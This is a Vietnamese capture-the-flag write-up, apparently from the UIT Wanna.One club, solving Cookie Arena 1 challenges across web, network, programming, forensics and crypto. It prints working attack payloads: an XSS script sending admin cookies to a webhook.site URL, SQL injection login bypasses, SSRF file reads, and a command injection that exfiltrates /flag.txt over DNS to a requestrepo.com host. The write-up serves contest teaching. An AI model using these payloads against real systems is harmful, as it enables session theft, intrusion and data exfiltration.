Cookie Arena được tổ chức bởi Cookie Hân Hoan, một tổ chức giáo dục nhằm phổ biến kiến thức an ninh mạng đến với cộng đồng bằng sự đồng cảm, tươi vui và hài hước.
"Xin chào, mình là Gấu aka th3_5had0w đến từ Wanne.One, với tư cách là á quân 2 trong cuộc thi Cookie Arena 1 vừa rồi thì sau đây là những review của mình."
Giống như cách mà ta đi thi toán, luôn luôn làm những câu dễ trước nhỉ? Đúng, CTF cũng giống vậy. Những câu dễ nhất thuộc phần Network
và Web Basic
. Thực sự thì 2 phần này không khó, những bạn beginner chưa biết gì cũng có thể làm được với công cụ trợ giúp đắc lực Google. Riêng phần Network
thì kiến thức trong này chủ yếu là về Linux và các dòng lệnh cơ bản thôi, các bạn mới chơi chỉ cần đi dạo trên internet một lúc thôi cũng đã có thể làm được rồi. Còn phần Web Basic
, như cái tên, nó hướng dẫn cho các bạn các kĩ thuật nền khi tương tác với hạ tầng của một trang web, phần này cũng chưa cần đến khai thác lỗ hổng gì nhiều cả, đa phần liên quan đến cookie, header, đọc và hiểu javascript, can thiệp các request, các thành vần cơ bản của web, các phương thức GET, POST...etc.
Web Exploitation
thì nâng cao hơn, đây mới thực sự liên quan đến các kĩ thuật tấn công vào trang web, giống như những câu phân loại điểm 9 10 trong đề thi toán vậy :Đ
Các thử thách ở phần này dựa trên các lỗ hổng phổ biến như: XSS, SSFR, SQL Injection,...
Ở đây có 2 thử thách mà mình khá thích và đánh giá cao đó là "Paparazzi" và "A tiny hole", ngoài việc biết cách tận dụng các lỗ hổng Web, thì còn cần phải hiểu biết nhiều về hệ điều hành Linux.
Có một phần mini bao gồm các thử thách Programming
, mình đoán có lẽ BTC thêm vào để khuyến khích các bạn nhỏ làm quen với coding vì phần này với cá nhân mình thì để khá nhẹ nhàng và giải trí.
Tiếp đến với phần Cryptography
, phần này cũng không quá khó, vừa tâm nhưng các challenge yêu cầu người chơi có kiến thức nền về toán học và mật mã học, nên bạn nào muốn vjp pro phần này thì nhớ học toán chăm chỉ như mình và tham khảo các ứng dụng của toán vào mật mã học nhé. Tuy nhiên có một thử thách liên quan đến mã hóa AES mà BTC soạn chưa kĩ lắm khiến cho nhiều người phải mò mẫm khá mệt.
Cuối cùng là phần Forensic
, phần này liên quan nhiều đến pháp chứng kĩ thuật số, có nghĩa là điều tra các dấu vết hay manh mối còn sót lại sau một cuộc tấn công của tin tặc như kiểm soát gói tin, bóc tách, lọc dữ liệu từ tệp tin ảnh, âm thanh, video... Nghe thì khó nhưng BTC cũng đã làm các thử thách vừa sức với các bạn mới chơi nên bạn nào muốn làm Sherlock Holmes thời @ thì cũng không cần ngại đâu nhé, màn dạo đầu thường nhẹ nhàng và tràn ngập hứng thú. Phần này có một thử thách khá ấn tượng liên quan đến thu nhận và xử lý tín hiệu từ vệ tinh không gian.
Sau cùng thì Cookie Arena 1 đã là một cuộc thi CTF rất vui và mang tính cạnh tranh cao giữa các cá nhân, và cũng là một làn gió mới đến với các thí sinh nhỏ tuổi, tạo điều kiện để cộng đồng bảo mật ở Việt Nam ngày càng phát triển lớn mạnh. Đối với riêng cá nhân mình thì mình có một vài góp ý nho nhỏ đó là nên tăng thêm độ khó cho các thử thách và thêm 2 phần Pwn/Re.
Xin cảm ơn BTC đã tổ chức cuộc thi, các bạn trẻ nếu có hứng thú với ngành bảo mật nói chung và các giải đấu CTF nói riêng thì không những follow mỗi Cookie Hân Hoan mà còn follow cả UIT Inseclab để được đọc các writeup, tìm hiểu thêm về các kĩ thuật hay ho mới mẻ cũng như tham gia các giải đấu trong tương lai do chúng mình tổ chức nhaaaa (UIT Hacking Contest sắp đến rồi á ??️). Sau đây là phần writeup cho 40 thử thách của giải vừa rồi.
CLB An toàn Thông tin Wanna.One chia sẻ một số Challenges giải được và việc chia sẻ writeup nhằm mục đích giao lưu học thuật. Mọi đóng-góp ý-kiến bọn mình luôn-luôn tiếp nhận qua mail: wannaone.uit@gmail.com hoặc inseclab@uit.edu.vn và fanpage: fb.com/inseclab.
Web Basic
1. Hân hoan
Vào trang web, ta thấy có 1 form đăng nhập. Đăng nhập bằng 1 tài khoản bất kì, kết quả trả về là “You are not CookieHanHoan!”
Chỉnh sửa cookie ở phần httprequest header ta có được flag
2. Header 401
Từ tên challenge, mình đoán rằng bài này thuộc dạng authentication, status 401 chính là Unauthorized lúc người dùng xác thực sai thông tin.
Xem source HTML, mình thấy 1 chuỗi thông tin được comment lại
Basic Authentication Credential: gaconlonton/cookiehanhoan
Ta sẽ dùng thông tin này để xác thực với cú pháp như sau
Authorization: Basic base64(user:pass)
Mình encode gaconlonton:cookiehanhoan sang kiểu base64 bằng extension Decoder trong burpsuite, ra được chuỗi sau:
Z2Fjb25sb250b246Y29va2llaGFuaG9hbg==
Lưu ý rằng, cần phải đổi method GET→POST trước khi request
3. JS Bp Bp
View-source HTML, có 4 file script được include vào
Vào xem mã nguồn của 4 file này, ta thấy rằng chỉ toàn là những kí tự +,[,],!, Search gg mình biết được đây là 1 dạng jsfuck.
Mình tìm cách decode jsfuck trên google và thấy 1 trang khá là hay:https://enkhee-osiris.github.io/Decoder-JSFuck/
Okay, bây giờ ta sẽ sử dụng tool trên để decode hết 4 file script này:
#1.jsfunction verifyUsername(username) { if (username != "cookiehanhoan") { return false } return true }#2.jsfunction reverseString(str) { if (str === "") { return "" } else { return reverseString(str.substr(1)) + str.charAt(0)} }#3.jsfunction verifyPassword(password) { if (reverseString(password) != "dr0Wss@p3rucreSr3pus") { return false } return true }#4.jsfunction verifyRole(role) { if (role.charCodeAt(0) != 64) { return false; } if ((role.charCodeAt(1) + role.charCodeAt(2) != 209) && (role.charCodeAt(2) - role.charCodeAt(1) != 9)) { return false } if ((role.charCodeAt(3).toString() + role.charCodeAt(4).toString() != "10578") && (role.charCodeAt(3) - role.charCodeAt(4) != 27)) { return false } return true}
Với,1.js, ta biết được username ta cần nhập là cookiehanhoan2.js, Hàm đảo ngược kí tự trong chuỗi3.js, Đảo ngược kí tự của password ra chuỗi dr0Wss@p3rucreSr3pus
- Chuỗi cần nhập sẽ là reverseString(“dr0Wss@p3rucreSr3pus”)
- password = sup3rSercur3p@ssW0rd4.js, Hàm verifyRole có tác dụng kiểm tra các kí tự của role, theo quy tắc:
- Ở đây, mình sẽ biểu diễn chuỗi string theo kiểu array cho dễ hiểu
- Mã Ascii của kí tự đầu tiên = 64 → role[0] = ‘@’
- Ascii(role[1]) + Ascii(role[2]) = 209
- Ascii(role[2]) – Ascii(role[1]) = 9
- Ở đây, ta giả sử kí tự 1 là x1, kí tự 2 là x2:
- ta có x1 + x2 = 209 và x2 – x1 = 9
- Giải phương trình ta có được x1= 100 và x2 = 109
- role[1] = ‘d’, role[2] = ‘m’
- Chuỗi (Ascii(role[3]) + Ascii(role[4])) = “10578”, Ascii(role[3]) – Ascii(role[4]) = 27
- Từ điều trên ta có được role[3] = ‘i’, role[4] = ‘N’
Kết luận
- username = cookiehanhoan
- password = sup3rSercur3p@ssW0rd
- role = @dmin==> Flag{JAV-ascript_Fck}*
4. Impossible
Xem sourse HTML, ta thấy hàm checkPass được gọi khi ta nhấn vào button Submit
function checkPass(){ var password = document.getElementById('password').value; if (btoa(password.replace("cookiehanhoan", "")) == "Y29va2llaGFuaG9hbg==") { window.setTimeout(function() { window.location.assign('check.php?password=' + password); }, 500); }}
Decode chuỗi base64 trên ta được password cookiehanhoanĐoạn code ở trên không thay thế bằng đệ quy nên ta có thể double đoạn string như sau:cookiecookiehanhoanhanhoanLúc này, đoạn sau sẽ được thay thế bằng:cookiecookiehanhoanhanhoan → cookiehanhoan==> Flag{Javascript_is_not_safe???}
5. Infinite Loop
Bài này liên lục redirect đến id khác nhau, xem response của request ?id=6 ta có được flag
6. I am not a robot
Vào tranghttp://chal2.web.letspentest.org/robots.txtTa thấy 1 đường dẫn sauUser-agent: Allow: /fl@g1337_d240c789f29416e11a3084a7b50fade5.txtVào đường dẫn trên ta có flag==> Flag{N0B0T@ll0w}*
7. Sauce
Xem source HTML→ Flag{Web_Sause_Delicious}
Web Explotation
1. XSS
Thử với <script>alert(1)</script>
popup hiện ra cho thấy rằng đoạn javascript được thực thi khi.Mình dùng payload xss sau để lấy được cookie của admin bot thông qua webhook.Webhook có thể hiểu là dịch vụ thứ 3 nơi nhận các gói tin từ http, có rất nhiều dịch vụ webhook online miễn phí, các bạn có thể tìm trên google. Ở đây mình dùng https://webhook.site/
<script> fetch(‘https://webhook.site/1b653ea8-7512-4d47-b459-071f20ef5152?c=’ + document.cookie)</script>
Xem request nhận được từ webhook, ta có được flag
==> FLAG{5b7eca261028a4042fde4e3f45dec294}Do quá nhiều request khiến admin bot bị quá tải nên đợi khá lâu để có được flag.
2. XSS Filter
Giống ý tưởng bài trên nhưng để ý rằng server thêm CSP (Content Security Policy)default-src 'self'; script-src 'nonce-matuhn' 'strict-dynamic'; style-src 'unsafe-inline'
Ta có thể hiểu là nonce-xxxxxxxx có nghĩa là chỉ cho phép script nào match chính xác thì mới được phép thực thi
<script nonce="matuhn"> fetch(‘https://webhook.site/1b653ea8-7512-4d47-b459-071f20ef5152?c=’ + document.cookie)</script>
Đợi 1 lúc. Xem request nhận được từ webhook, ta có được flag.
3. Ét Quy Eo
Bài này thuộc loại sql injection authentication. Ta có thể dùng payload sau:xxx' or 1=1 --Đoạn query sẽ thực hiện trông như thế này:select from users where username='xxx' or 1=1-- and password=''Vì 1=1 trả về true và đoạn sau dấu -- sẽ bị commentnên ta có thể hiểu câu lệnh query như sau:select from users where username=trueKết quả trả về:(1, 'lil uzi vert', 'is_admin', 'RmxhZ3tGcjMzX1N0eWwzfQ==')
decode đoạn base64 ta được flag==> flag = Flag{Fr33_Styl3}
4. SQL Filter
bằng cách dùng oR :)) (vì câu lệnh sql chữ thường hay in hoa đều thực thi được)Thay vì 1=1 ta có thể dùng (1)payload : xxx'oR(1)--(1, 'lil uzi vert', 'is_admin', 'RmxhZ3tHcjMzdDFuR30=')
==> flag = Flag{Gr33t1nG}
5. Misconfiguration
Bài này flag được chia làm 3 phần.Dùng tool gobuster với wordlist common.txt ta có 2 đường dẫn là:.htaccess → part 1: Flag{1b283f0725web.config → part 2:Trong web-config, ở tag deny ta thấy 1 đường dẫn đến file backup-ddmmyy.bakSau khi download file này về, mình dùng command file trong linux để xác định loại file
$ file backup-ddmmyy.bakbackup-ddmmyy.bak: Zip archive data, at least v2.0 to extract$ unzip a.zip -d .Archive: a.zip inflating: ./part3.txt$ cat part3.txt part 3 of the flag : caca7b183}
Okay, Đây là 1 file zip, giải nén ra ta có được 1 file text, đọc file này ta có part 3 của flag==> flag = Flag{1b283f0725d536a0f217d89caca7b183}
6. Paparazzi
Đây là 1 service có chức năng truy cập vào url ta nhập vào và chụp lại màn hình.Dạng này thuộc loại SSRF, ta có thể fuzz nhanh với wrapper file:///
file:///proc/
Search google một hồi mình biết được rằng ta có thể lấy thông tin từ thư mục hiện hành thông qua /proc/{id}/cwd, chọn với id với danh sách trên ta đều có thể lấy được thư mục hiện hành.file:///proc/1/cwd
Oh có 1 thư mục có tên lạ, mình vào thư mục này thì có 1file flag.txt
file:///proc/1/cwd/Th1s_1s_sEcreT_pAth_c4n_Gu3sss_17831278392131/flag.txt
7. Gatling gun
Đầu tiên mình kiếm đến đường github theo yêu cầu của phần mô tả của challenge:https://github.com/cookiehanhoan/HoangTuEchTừ đây ta có được 3 wordlist : id, password, usernameỞ đây, mình dùng extension burp intruder để bruteforce, mình thiết lập loại tấn công là Cluster bomb và set 3 payload tương ứng với 3 tham số truyền vào.
Ta cài đặt filter như sau:
option Negative search, để filter những request không có kí tự FLAG{Not_True}
9. ID'OR1=1
Tên đề bài khiến mình ăn ngay cú lừa liên tưởng đến sql injection, khiến mình tốn rất nhiều thời gian =.=
Bài này chỉ đơn giản là bruteforce id, mình tiếp tục sử dụng burp intruder, nhận thấy rằng id=1337 có chứa flag
{"Age":18,"Email":"Flag{61cb4a784e83b6109999af6f036b88bf}","First_Name":"Admin","Gender":"Female","Id":1337,"Last_Name":"Pro"}
10. A tiny hole
Xem qua source-code được cung cấp, mình nhận thấy những đặc điểm sau:
Theo description từ challenge, server hạn chế kết nối ra bên ngoài -> loại bỏ ý tưởng reverse shell
- Server download nội dung từ 1 file và chạy file đó bằng bash command
- Server không filter ở đường dẫn thư mục -> lợi dụng được lỗ hổng LFI
- Server không có chỗ cho ta đọc output -> Data extrafiltation
- URL không filter -> lợi dụng được lỗ hổng SSRF
- Vì lỗi được parse ra ở file log -> lợi dụng điều này để trigger payload
Xem qua đoạn code, mục tiêu hướng đến của chúng ta ở bài này là control script_path để chạy đoạn lệnh ta mong muốn.
Có 1 vấn đề là Server hạn chế kết nối ra bên ngoài nên ta bắt buộc url_script phải là đường dẫn internal.
Để ý lại URL không hề filter, nên mình dùng SSRF qua protocol file:// để lấy nội dung từ file /etc/hosts.
Trong quá trình phân tích và đọc hiểu code, mình nghĩ ra một ý tưởng là sử dụng dấu xuống dòng (\r\n) ở script_name để gây ra lỗi và nội dung sẽ ghi vào file log, ta cùng xem đoạn query sau:
Và đây là kết quả khi chạy payload trên:
Magic chưa :v, vì tên file không đúng định dạng dẫn đến lỗi nên khi thực thi dòng này
command = subprocess.Popen(['bash', script_path], stderr=lf, stdout=lf, universal_newlines=True)
kết quả trả về từ process sẽ dẫn đến lỗi và ghi vào file log qua option stderr
Ok từ đây ta chỉ cần trigger đoạn trên bằng đoạn query thứ 2:
Và kết quả thu được:
File log2.txt:
dòng echo 123 đã được thực thi
Kết luận:
- Sau nhiều lần thử các loại protocol cuối cùng mình nhận thấy chỉ DNS phản hồi từ server thông qua câu lệnh nslookup.
- Theo kinh nghiệm của mình thì flag thường nằm ở root nên mình đoán luôn là /flag.txt
- Mặc dù DNS đã parse trong file log, nhưng Payload của mình không work nên mình dùng thêm dấu backtick để chắc rằng câu lệnh sẽ được thực hiện.
- Lưu ý rằng, mọi thứ trong dấu backtick sẽ luôn được thực hiện trước câu lệnh chính
Final payload:
request1:
command_log_file=log&script_dir=toidihackdao&script_name=%0A`nslookup $(cat $(echo Y2F0IC9mbGFnLnR4dA== | base64 -d)).qcpar0iw.requestrepo.com`%0A&script_url=file:///etc/hosts
request2:
command_log_file=log2&script_dir=toidihackdao&script_name=hackisfun&script_url=file:///src/logs/log.txt
Kết quả:==> Flag{CookieWarrior_Please_Think_Out_Of_The_Box}
Programming
1. SUM()
Khi ta kết nối netcat:
$ nc programming.letspentest.org 8111Number list:32856 98049 13909 86430 74111 67593 86667 53221 86708 32921 Calculate the equation of this numbers:
Chương trinh sẽ yêu cầu ta tinh tổng của các chuỗi random xuất hiện trên Terminal. Tác giả cũng cho ta 1 file socket có 1 số tác vụ như send hay recieve. Nhưng minh là người chơi hệ pwntools. Bài này thì ko có gì khó chỉ cần leak chuỗi này về cộng lại đó là kết quả .Code solve:
from pwn import * p=remote('programming.letspentest.org',8111) while(1):p.recvuntil("\n")s = p.recvuntil("\n") log.info(s)m = s.split(" ")sum = 0;for i in m:if i!="\n": sum+=int(i,10)p.sendline(str(sum)) p.recvuntil("\n")msg = p.recvuntil("\n") if "flag" in msg:log.info("BINGO "+msg)break p.interactive()
FLAG: Flag{1plust1_1s_2_qu1ck_mafth}
2. Pro102
Ở bài này chương trinh cho ta 1 phương trình bậc 2. Trong file teamplate send và recive tác giả cấp có gợi ý cho ta cách gửi input:
nc programming.letspentest.org 8222 Equation:1*X^2 - 710*X + 36025 = 0Calculate the roots of this equation:
Tới đây thì mình áp dụng công thức toán quen thuộc ở cấp 2 tính delta để xác kiểm tra nghiệm của phương trinh thé nào sau đó áp công thức tính ra nghiệm:Code solve:
from pwn import *import cmathp = remote("programming.letspentest.org", 8222) for i in range(10):p.recvuntil("\n")bt = p.recvuntil("\n") log.info(bt)s = bt.split("*X^2")a = int(s[0],10)s2 = s[1].split("*X")b = int(s2[0],10)s3 = s2[1].split("=")c = int(s3[0],10)delta = b**2 - 4 * a * c if delta < 0:print "NOPE"p.sendlineafter("\n","NOPE") elif delta == 0:print str(-(b / (2 * a)))p.sendlineafter("\n", str(-(b / (2 * a)))) else:payload = str(int((-b-math.sqrt(delta))/(2*a))) payload += ", "payload += str(int((-b+math.sqrt(delta))/(2*a))) p.sendlineafter("\n", payload)mes = p.recvuntil("\n") if "flag" in mes:log.info("Bingo "+mes)break p.interactive()
FLAG: Flag{2fast2fur10us}
3. Roberval
Đề bài:
nc programming.letspentest.org 8333Harry có một túi bi gồm N viên, trong đó, có 1 viên bi nhẹ hơn so với các viên bi còn lại. Harry cho thí sinh một chiếc cân Roberval và yêu cầu sử dụng chiếc cân này để tìm ra viên bi nhẹ hơn với ít số lần cân nhất.Với N = 1594323Số lần cân ít nhất là:
Bài toán cân bi là 1 bài toán khá kinh điển, các bạn có thể dễ dàng tìm thấy trên google. Thực ra công thức minh cũng search google ra : )). Công thức mình tìm dc là: X = log3(n) -> với x là số lần cân ít nhất . n là số lượng biCode khai thác:
from pwn import * import cmathfrom sympy import * import mathp = remote("programming.letspentest.org", 8333) i=1for i in range(5):p.recvuntil("N = ")x = int(p.recvuntil("\n")[:-2],10) t = log(x,3)p.sendline(str(t))print(i)i=i+1p.recvline()p.interactive()
Flag: Flag{n0_pr0b_w1th_cub3_r00t_RIGHT?}
Network
1. Post Office Man
Thử connect đến domain và port được cung cấpnc network.letspentest.org 9002
Nhận được thông tin sau mình biết được server đang giao tiếp bằng phương thức pop3+OK popper file-based pop3 server ready
Okay, đăng nhập với user và pass bất kì
Please using USER to login firstCác Bạn hãy sử dụng câu lênh USER để login vào hệ thống (Cứ nhập linh tinh zô 乁| ・ 〰 ・ |ㄏ)USER 3+OK user acceptedPlease using PASS to login firstCác Bạn hãy sử dụng câu lênh PASS để login vào hệ thống (Cú nhập linh tinh zô 乁| ・ 〰 ・ |ㄏ)PASS 1+OK pass accepted
Dùng command LIST để hiển thị ra thứ tự và thông tin về kích thước tin nhắn
+OK 10 messages (9400 octets) 1 9402 9403 9404 9405 9406 9407 9408 9409 94010 940
Tiếp tục sử dụng RETR <thứ tự>
để xem tin nhắn, sau một hồi xem hết mình nhận thấy tin nhắn thứ 8 có chứa flag
RETR 8...************************| Flag{1-Ha\/3-1o0o-UnS33n-3Ma1L} |******************** ...
2. Very Good Shipper
Dựa vào đề bài, mình nghĩ ngay đến scan port bằng nmap
$ nmap -v network.letspentest.org...Discovered open port 9003/tcp on 18.139.222.220 Discovered open port 9002/tcp on 18.139.222.220 ...
Ta có được 2 cổng là 9002 và 9003Tuy nhiên, 9002 là cổng đã được sử dụng ở bài Post Office Man nên ta sẽ kết nối vào cổng 9003.Để làm bài này mình đã xem kĩ phần rules, nên vượt qua khá dễ.Lưu ý bài này có một khoảng thời gian timeout, ta phải làm nhanh.nc network.letspentest.org 9003
Mình sẽ để đáp án ở đây:Có bao nhiêu chủ đề trong Cookie Arena Season 1?-> 6Ngoài 3 giải chính (nhất, nhì, ba), thì Cookie Hân Hoan có bao nhiêu giải thưởng phụ?-> 10Cookie Hân Hoan có bao nhiêu nhân vật chính?-> 4Bạn đang kết nối tới cánh cửa này thông qua giao thức mạng nào?-> TCPCookie Hân Hoan là fanpage chia sẻ về?-> Bảo mật và an toàn thông tinNhững người được ban tổ chức lựa chọn để trao giải, có phải gửi cách giải các thử thách (write-up) cho BTC không?-> Có
Flag: Flag{t00-ez-4-y0u}
3. Where is my house?
Đề bài nhắc đến khá nhiều keyword "DNS", vì vậy mình dùng dig để xem thông tin của Records về domain này. Theo kinh nghiệm mình thì flag thường nằm ở TXT record, nên mình dùng command sau:
dig txt letspentest.org...;; ANSWER SECTION:letspentest.org. 300 IN TXT "Flag{DNS_A_AAAA_TXT_CNAME}"
Flag: Flag{DNS_A_AAAA_TXT_CNAME}
- Scan me if you canĐề bài đã quá rõ ràng, mình bắt đầu scan port 8100-9100
$ nmap -p 8100-9100 network-insecure.letspentest.orgStarting Nmap 7.80 ( https://nmap.org ) at 2021-11-04 14:28 +07Stats: 0:00:55 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan Connect Scan Timing: About 54.22% done; ETC: 14:30 (0:00:46 remaining) Nmap scan report for network-insecure.letspentest.org (18.140.65.99)Host is up (0.20s latency).rDNS record for 18.140.65.99: ec2-18-140-65-99.ap-southeast-1.compute.amazonaws.com Not shown: 999 closed portsPORT STATE SERVICE9003/tcp open unknown9004/tcp open unknownNmap done: 1 IP address (1 host up) scanned in 154.84 seconds
Connect vào 1 trong 2 port trên mình đều nhận được flag
$ nc network-insecure.letspentest.org 9003gõ kí tự bất kì và nhấn enterHTTP/1.1 400 Bad RequestServer: Flag{Every-Header-Have-It-Own-Meaning}Date: Thu, 04 Nov 2021 07:33:15 GMT Content-Type: text/htmlContent-Length: 157 Connection: close<html><head><title>400 Bad Request</title></head> <body><center><h1>400 Bad Request</h1></center> <hr><center>nginx/1.20.0</center></body></html>
*Flag: Flag{Every-Header-Have-It-Own-Meaning}*## 5. Secure HTTPNhìn tên đề bài mình nghĩ giao thức kết nối giữa client với server là HTTPS, kết hợp với thông tin từ đề bài cung cấp cho ta keyword Certificate
. Mình dùng openssl để xem thông tin về certificate từ domain này. Có 1 cách đơn giản hơn là ta truy cập vào https://network-insecure.letspentest.org:9004và dùng certificate viewer của trình duyệt.
$ openssl s_client -showcerts -connect network-insecure.letspentest.org:9004 CONNECTED(00000003)depth=0 C = VN, ST = Chicken-Little, L = Pussy-Cat, O = Flag{This-Is-A-Trusted-One}, OU = https://fb.com/cookie.han.hoan, CN = https://discord.gg/cookiehanhoan, emailAddress = Cookiehanhoan@gmail.comverify error:num=18:self signed certificateverify return:1depth=0 C = VN, ST = Chicken-Little, L = Pussy-Cat, O = Flag{This-Is-A-Trusted-One}, OU = https://fb.com/cookie.han.hoan, CN = https://discord.gg/cookiehanhoan, emailAddress = Cookiehanhoan@gmail.comverify return:...
*Flag : Flag{This-Is-A-Trusted-One}*------------# Forensics## 1. AUDICATYĐề cho 1 file **squidgame.wav**, mở file bằng **Audacity** chuyến sang chế độ**Spectrogram** ta thấy ngay flag![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.37.28.png)Đoạn giữa hơi khó nhìn nhưng vì đã xem qua phim Squidgame nên dễ dàng đoán ra*flag là: Flag: Flag{No_Bullet_for_Player_001}*## 2. Basic ImageĐề cho một file hình và tìm xem hình đó xuất hiện ở bài viết nào của FanPage https://www.facebook.com/cookie.han.hoan/ nhưng mình quăng bức hình lên Aperi'Solve (aperisolve.fr) trước xem có gì =))![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.38.37.png)Ở **Exiftool** có ngay flag :D Easy right? *Flag: Flag{metadataratatatataaaaaa}***3. ExSellerĐề cho file xlsx. File xlsx thật chất là file zip nên ta có thể unzip
file bruteme.xlsxbruteme.xlsx: Microsoft Excel 2007+ $ unzip bruteme.xlsxArchive: bruteme.xlsxinflating: [Content_Types].xml inflating: _rels/.relsinflating: xl/_rels/workbook.xml.rels inflating: xl/workbook.xmlinflating: xl/theme/theme1.xml inflating: xl/worksheets/sheet2.xml inflating: xl/worksheets/sheet3.xml inflating: xl/worksheets/sheet1.xml inflating: xl/sharedStrings.xml inflating: xl/styles.xmlinflating: docProps/app.xml inflating: docProps/core.xml
Mình thấy được file shareStrings.xml khả khi nên xem có gì
$ cat xl/sharedStrings.xml<?xml version="1.0" encoding="UTF-8" standalone="yes"?><sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="2" uniqueCount="2"><si><t>check</t></si><si><t>Flag{Micro$oft_Heck3r_Man}</t></si></sst>
*Flag: Flag{Micro$oft_Heck3r_Man}*## 4. From the aboveĐề cho file wav, sau khi mở file thấy giống âm thanh của SSTV nhưng âm thanh bị nhiễu bởi thời tiết, search trên google mình có được tool WXtolmg có thể giải quyết bài này![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.41.29.png)*Flag: Flag{h3ll0_fr0m_th3_0th3r_S*## 5. StreamerĐề cho ta file pcapng, mở file bằng wireshark Check Object HTTP mình thấy có file evilcontent.zip![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.43.04.png)Save as về và unzip xem có gì
$ file evilcontent.zipevilcontent.zip: Zip archive data, at least v2.0 to extract$unzip envilcontent.zip
File zip này chứa file flag.txt, nhưng ta cần passwordCheck lại file pcapng, mình follow TCP Stream, ở Steam thứ 5 ta thấy có password![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.43.56.png)Save as về ta có 1 file unzip.Unzip file evilcontent.zip và cat flag
$ cat flag.txtFlag{TCP_streaming_go_skrrrrrrrt}
6. IntercepterĐề cho ta file gif. Mình dùng GIF to PNG - online-convert.com để có được 21 tấm ảnh tạo thành file gif![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.55.50.png)Mình check mỗi tấm hình có chứa các mảnh Qrcode![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.56.30.png)Sau khi cắt toàn bộ các mảnh QRcode trong các hình ra và ghép lại mình được 1 mã QRcode. Scan QRcode và lấy flag![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-22.57.02.png)## 7. VolatilityThử thách cho ta file raw![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-23.03.28.png)Theo tên chall bài này là dùng volatility để giải, nhưng mình lỡ strings grep là ra mất rồi :D![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-23.04.00.png)*Flag: Flag{7ef31e58bd4086e294b4d700c721f35f}*## 8 .githubThử thách chỉ cho ta https://github.com/Bài này theo mình thì giống OSINT hơn là Forensics :DDễ dàng tìm được github là https://github.com/cookiehanhoan/Từ hint mình thấy được github này có 19 commits, check commit của hiendv mình thấy được flag.![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-23.05.12.png)# Crypto## 1. XorĐọc code thì mình thấy ciphertext đơn giản chỉ xor với 1 kí tự nào đó - > brute force 256 bytes
enc=bytes.fromhex(‘6c464b4d514b744817491714487449174b57’) from pwn import xorfor i in range(256):flag=xor(i,enc) if b’Flag’ in flag:print(flag)
*Flag: Flag{a^b=c=>b^c=a}*## 2. MorseĐề cho wile wav, đọc tên thì mình biết đây là mã morse. Minh dùng https://morsecode.world/international/decoder/audio-decoder-adaptive.html để lấy Flag![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-23.08.34.png)*Flag: Flag{M.O.R.S.E.C.O.D.E}*## 3. Julius caesarDựa vào tên chall thì mình thấy đây là mã cipher. Mình dùng https://cryptii.com/pipes/caesar-cipher để decode![](https://inseclab.uit.edu.vn/upload/2021/11/Screen-Shot-2021-11-08-at-23.09.35.png)*Flag: Flag{El_Clasico_Cipher}*## 4. Sixty fourDựa vào tên chall → decode base64Được 1 chuỗi hex - > hex to bytes```pythonfrom base64 import *b64decode('NDY2QzYxNjc3QjVGNUY1RjQyNjE3MzY1MzYzNDc4NDg2NTc4NUY1RjVGN0Q=') bytes.fromhex(_.decode())
6. AES
Đề 1 đoan đã được mã hóa bằng AES-CBC. Đề cũng đã cho sẵn key và 14 bytes của IV Vậy ta sẽ đoán 2 bytes còn lạiiv_part1 = "0xcafedeadbeef"Mình đoán 2 bytes cuối có thể là “x0” ( cho nó đối xứng)Decode và nôp thử thì đúng flag
from Crypto.Cipher import AESkey = b'supersecretkey!?'iv_part1 = b"0xcafedeadbeef" enc=open('cipher.txt','rb').read() cipher=AES.new(key,AES.MODE_CBC,iv_part1+b'x0') print(cipher.decrypt(enc))
Flag: Flag{f4edced3a1c3e72be1257f232a7a78b6}
7. Cry more
Chương trình khá dài mình tóm gọi lại như sau:Cho phép chúng ta mua các vật phẩm nhưng không thể mua flagĐể mua thì ta order để lây signature của vật phẩm đó , sau đó dúng signature để confirmSignature được tình băng : sha512(signkey+payment).hex() sau đó nói lại vào payment gửi cho chúng ta, signkey là giá trị bí mật server giữ, ta chỉ biết nó có độ dài từ 8->32Quan trọng là hàm parse_qsl()Mình thấy nếu thêm vào 1 product ở phía sau thì nó chỉ parse ra giá trị product thằng phía sau.Vì hàm tính signature là sha512 nên mình có thể dùng hashlength extension attack để tạo ra signature mơi có chưa &product=FLAG ở phía sau từ 1 thàng signature lấy từ serverCách thực hiện:Lấy 1 signature của 1 sản phâm về decode base64 để lấy ra payment và signature. Chọn đồ dài len tùy ý từ 8->32Dùng hash extender để thêm &product=FLAG vào phía sau payment và tính ra signature mớigửi lại payment mới + “sign=”+ signature mới vừa tính cho serverBài này mình làm tay, nhân phẩm tốt nên brute force len có mấy số là ra